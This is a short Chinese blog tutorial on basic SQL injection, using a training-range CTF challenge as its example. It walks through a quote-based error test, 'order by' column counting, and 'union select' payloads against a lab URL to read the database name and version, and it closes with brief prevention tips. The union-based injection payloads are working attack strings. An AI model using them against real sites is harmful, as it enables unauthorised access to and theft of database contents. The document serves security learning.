sql简单注入-------基本步骤

原创

李昭仪668 于 2019-10-27 09:12:49 发布 876 收藏 1
分类专栏： 网络安全 文章标签： sql注入原理 防止sql注入 ctf

本题用封神台靶场，第一道拯救女神小芳-猫舍的题作为例子

1.判断与数据库交互的地方是否存在注入点

方法：加入单引号' 使数据库报错，说明存在注入点

2.判断字段数

用order by 或者group by

> 59.63.200.79:8003/?id=1 order by 1 //如果不报错则至少要有一个字段，进行第二个测试，直到报错为止

> 59.63.200.79:8003/?id=1 order by 3 //如果3 报错，证明有2个字段

3.查找回显点

> 59.63.200.79:8003/?id=1 and 1=2 union select 1,2 from admin
>
> //这里的1,2可以换成别的，只要保证有两个字段就可以，

> //admin 是数据库的名称，可以用爆字段，爆表的方法查出来，具体自行百度

这时，在页面中就会出现相应的数字，就是我们要找的回显点，比如页面上出现数字2，我们就把2的位置改为我们想要知道的信息

4.找出信息

> 59.63.200.79:8003/?id=1 and 1=2 union select 1,database() from admin
>
> 这时，数据库的名称就会显示在原来显示2的位置上，
>
> 同理，database（）可以换成version()等

总结：1.以上为简单注入，如果修改url被拦截，需要使用工具，进行cookie注入，方法一样

2.sql注入 分为1.char型2.int型，主要利用单引号的闭合原理，将输入的sql 语句与数据库进行交互，实现增 删 改 查功能

3.防止sql 注入的方法：

数据库参数化，

字符转译：addslashes（）

过滤